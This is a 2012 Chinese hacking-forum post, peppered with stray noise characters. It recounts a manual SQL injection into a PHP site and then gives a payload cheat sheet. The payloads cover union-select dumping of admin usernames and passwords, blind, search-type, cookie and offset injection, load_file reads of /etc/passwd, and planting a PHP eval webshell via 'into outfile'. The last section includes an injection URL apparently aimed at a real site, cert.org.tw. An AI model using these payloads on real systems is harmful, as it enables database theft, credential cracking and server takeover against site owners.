标题: 手工注入拿下一站 [打印本页] 作者: admin 时间: 2012-9-23 14:47 标题: 手工注入拿下一站 我一个朋友维护一个站点，他对安全不是很懂，就像我一样，呵呵 ！O(∩_∩)O~' p# C% Q' ]9 r( s
让我看看，既然人家开口了，我也不好拒绝，那就看看吧？7 T0 F, J( b7 X! z" d
我个人喜欢先看有没有上传的地方（上传可是好东西，可以直接拿shell'），其次就是看看什么程序，有没有通杀，然后就是后台，最后看看注入。。。。' h" X3 W, X# s" N8 r2 d
如果是php程序我会先找注入，呵呵！（这个不用我说你们也知道是什么原因咯，废话了，主题开始。。。） 1 o0 M; f" s( ^+ ^. x; u$ p# \3 M1.打开地址，发现是php程序，呵呵.既然是php程序，先找找注入吧？看看有没有交互的地方，（所谓交互就是像news.php?id=1，news.asp？id=1这样的，）% ^, y+ W1 @1 z- ]( X8 n
这个站很悲剧，随便点开一个链接加一个 ’ 结果悲剧了，爆出： # F7 I F! j( _Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in% C0 M- ^+ [5 \* x$ t {
/data/home/nus42j1/htdocs/news.php on line 59 ，物理路径出来了，到这一步啊，已经可以证实存在注入 5 G4 a0 ]* I) @; O 4 n" e+ X# B6 ]/ l& n1 D1 s) s
2.不过既然是学习，我们就要一步一步的来，还是老规矩 and 1=1 ，and 1=2 ，返回结果不一样，证明存在注入， % @1 F; ~$ ~6 q8 |6 j3.下一步很自然的查询字段数：用order by+二分法，加上order by 8 返回正常，order by 9 不正常。说明字段数为8 ，继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ，一个5 ，说明可以利用字段数才两个，有时候会有很多个哦，要注意 , v6 z% K1 R8 d: z1 F; J4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ，当然还有database(),等等.......返回版本，用户等等系列信息/ n9 Z* c% ^( `2 g1 X. ^) z
5.rp差了一点，不是root权限，不过版本大于5.0，支持虚拟库information_schema。% i( i; p5 m. O- S q% z/ h+ e
有两种思路：1.使用Load_file函数获取数据库账号密码，通过操作数据库获取webshell， . _/ z t( `. S) N, O2.继续爆出数据库里的表名和列名，登陆后台想办法上传获取webshell。 % F3 H* M% k3 ]/ P4 G我就用的是第二个思路，) m& t' U, {6 P# Q! [
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- $ x, e/ ~6 ~$ _- ^% |# r6.由于数据库表比较多，这里有48个表，我只是做检测，原理是这样，剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名，然后是获取表里的字段，- T9 e |: Z* T
提交：and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1-- ) J+ s6 z$ F, s- ?! t! \注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示，得到密码账号后就到md5破解网站进行破解。1 R( A8 u; p4 l
7.到这里呢我该结束了，还要提供给我朋友修补的意见，不过写了这么多了，也不怕在写一点，延伸思路，如果你的密文md5破不出来呢？？？？怎么办？？？？ 1 h, h# {. `9 B3 G8 }是不是放弃了，当然不是，看看开了什么端口，如果是centos，lamp环境。我们自然是用load_file了，先验证有读的权限， /etc/passwd..... * \# c! W U% ?9 X, a' p提交：and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 -- . i- ~8 T1 y% A. [. F2 B' U. J7 ^然后你就找你要的信息，主要是一些敏感文件，还有就是有没有前辈留下的东西，比如某些记录口令保存在本地的东东，我们还可以通过操作数据库备份出来一个shell，' {3 {+ A1 F- L' H- m/ B
调出mysql命令，执行：Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ，也可以分步执行建立一个临时表插入一句话，然后备份，前者比较简单并且不容易误删什么东西。前提是我们要有写入权限...... * d1 R( F- w A8 H. e下面是一些很普遍注入方式资料：- y1 Q* F/ P3 X& G- i7 U, q
注意：对于普通的get注入，如果是字符型，前加' 后加 and ''='8 s' E/ H$ v2 h; j
拆半法 / i# x8 K- j( @###################################### 3 W5 v6 {& V& @1 A: Hand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库，MSysAccessObjects是ACCESS的默认表。 3 B; R/ a! \8 u6 ^and exists (select * from admin) 0 v7 ]2 L/ d* p A: Nand exists(select id from admin)+ M( t& G5 r9 L( z- M
and exists(select id from admin where id=1) ; a V! i$ x" r; Q6 x- ]and exists(select id from admin where id>1) 8 w. D2 V3 ~4 E/ C/ H4 h: a& I然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 $ z8 W E+ `! P. ~and exists (select username from admin) ' x# | Q* q# i5 a# v9 fand exists (select password from admin)( o1 [/ P' k$ F; V4 u4 r
and exists (select id from admin where len(username)<10 and id=1)+ i% e: r9 v6 g0 y- x4 n
and exists (select id from admin where len(username)>5 and id=1) 2 d; I) D2 M- B/ land exists (select id from admin where len(username)=6 and id=1)0 j% ?+ J- Q7 F* j3 W
and exists (select id from admin where len(password)<10 and id=1) - Y) v' }) N- n! J+ Wand exists (select id from admin where len(password)>5 and id=1) ! i0 E# M" N" m+ J, e9 p2 cand exists (select id from admin where len(password)=7 and id=1)/ J+ {& T, X! X3 \. S% ~: w
and (select top 1 asc(mid(username,1,1)) from admin)=97+ R+ \8 B; K- M
返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。, L8 O& v7 x$ [$ e8 ~
猜第二位把username,1,1改成username,2,1就可以了。3 l* N+ r7 \1 W; m
猜密码把username改成password就OK了) B7 x( g8 S! _0 ]1 n% E }
################################################## 9 o' p' V: W5 h6 W) w" o+ K搜索型注入2 R2 |6 {9 y k3 y2 o; H) I
##################################1 S% u% ~8 ], k8 g3 v
%' and 1=1 and '%'=' ( e3 G7 P: t$ H$ ]* X0 r! T%' and exists (select * from admin) and '%'=' " h1 A. }0 a# Z3 Q; l3 G%' and exists(select id from admin where id=1) and '%'=' 8 Y T; E+ J! \# B f& Y- N%' and exists (select id from admin where len(username)<10 and id=1) and '%'='8 T; x6 v* u1 \/ r! i
%' and exists (select id from admin where len(password)=7 and id=1) and '%'=' & q# _/ r! ]1 s8 S%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='8 O0 N8 T1 B4 o; c0 y
这里也说明一下，搜索型注入也无他，前加%' 后加 and '%'=' 4 J) B1 t% d y8 P3 S3 {4 o( b+ F6 Q对于MSSQL数据库，后面可以吧 and '%'='换成-- 9 `9 X7 N0 g( h. F还有一点搜索型注入也可以使用union语句。 & S! @+ ~* @ p' A* {" g2 `: i$ R+ j2 U######################################################## - T! y& }: P# U' l联合查询。 o4 z5 W6 n: B* S$ x
##################################### " h5 l6 {2 T/ U ~order by 10 % b$ p5 H( ^6 Q; z. A% Z9 @and 1=2 union select 1,2,3,4,5,6,7,8,9,10 4 z, `# ^: e: v/ t u$ M7 Qand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin ; C" N8 J0 ~4 G$ z& i, Hand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 . |! O4 {! I- c; b很简单。有一点要说明一下，where id=1 这个是爆ID=1的管理员的时候，where id=1就是爆ID=2的管理用的，一般不加where id=1这个限制语句，应该是爆的最前面的管理员吧！（注意，管理的id是多少可不一定哈,说不定是100呢！）! S9 p/ P0 n* l% S
###################################2 \ y7 l+ V' ?0 W- P
cookie注入$ A2 B: G* {0 E2 t( U B$ C. Y
###############################5 b5 z" k) T9 r+ T( ?- q. I
http://www.******.com/shownews.asp?id=127- }$ _$ O( Q! |6 U; O% J- X
http://www.******.com/shownews.asp 5 b+ i; z. Q: ]: y( xalert(="id="+escape("127")); 7 |& A' }# C! ^3 J* r4 ~alert(="id="+escape("127 and 1=1"));, A0 e/ [+ b$ b' A: {4 Z: j6 \6 S
alert(="id="+escape("127 order by 10"));/ {% d; B3 C! x# A
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));$ L) L4 l0 `# i/ N5 x
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1")); / P# w( a3 O" V+ r5 k这些东西应该都不用解释了吧，给出语句就行了吧。这里还是用个联合查询，你把它换成拆半也一样，不过不太适合正常人使用，因为曾经有人这样累死过。 ) b: l5 u3 y; y. i################################### , G% w7 G7 {5 x' D6 G偏移注入; H, I7 y$ q; ?0 {9 b: T
###########################################################! l M+ e) K" r8 B4 Q7 Q6 o* z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin+ L; U% |( s( h4 d( J3 V1 h" w
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin . s0 H& R7 u. c2 X9 vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) ?" ?7 L; d7 u) C& J( z3 z$ Yunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id): l- ]3 R {& M8 ~% o# G
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) ( R u4 N# V# R+ @& R3 \! T& `: Kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)- ?6 V; b( d8 k9 N4 O4 `
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on9 l0 N! C E, y! r) a/ E5 @3 S! C
a.id=d.id) F: X! h) e1 F, y
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) - t" O1 j- t: `6 t7 E6 Uand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) {& t. v7 n* A4 N
1 D! b) ?; q0 i1 f
============================================================================================================! c! s$ ^8 n- m1 s) s* {1 }
1.判断版本8 S) U1 \0 f1 K4 X1 `
and ord(mid(version(),1,1))>51 ) @& M: c9 G" @, z& d- y0 d返回正常，说明大于4.0版本，支持ounion查询4 n8 @6 f3 Q: {% a' t
2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解: D; C3 P$ L! u# C
and 2=4 union select 1,2,3,4,5,6,7,8,9--3 a( p! u( g3 i# H" V: }; V$ H' H0 T
3.查看数据库版本及当前用户， / `% Q# z# L$ s. Z# o- K1 U+ u0 mand 2=4 union select 1,user(),version(),4,5,6,7,8,9-- 9 b6 P; i" j& X1 X/ l# m5 z" A数据库版本5.1.35，据说mysql4.1以上版本支持concat函数，我也不知道是真是假， # J1 l" ?5 R" m( q# n2 Q& Y4.判断有没有写权限 # Y3 M2 h( Q% [0 V+ wand (select count(*) from MySQL.user)>0-- + ]' K6 g1 y. S; U3 ]0 D- l5.查库，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1; r p2 \, h( B
用不了这个命令，就学习土耳其黑客手法，如下0 P# E$ q0 ~/ o6 p! j. k
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--' a/ u& C P- D B
6.爆表，爆库6 b" n8 c4 h2 W; C7 G
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--2 T$ z3 l$ W+ d/ ~9 `' S6 i1 X6 ^& r
7.爆列名，爆表 9 m9 q& d5 B4 Q$ Qand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--9 ?9 b; `2 `; o H) p& X( T0 ^+ D
8.查询字段数，直接用limit N,1去查询，直接N到报错为止。& x' N5 ?, W! T# Q% B8 u+ |% n
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--/ R. F' u* W( j0 u1 e4 O
9.爆字段内容 \ c2 u, w, A# u- D/ {: I# tand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1-- . [: z( Y, N2 l# x* j: N9 h, y) Lhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--作者: xiancda 时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~作者: wuyu 时间: 2012-9-25 18:53
谢谢分享，学习思路啊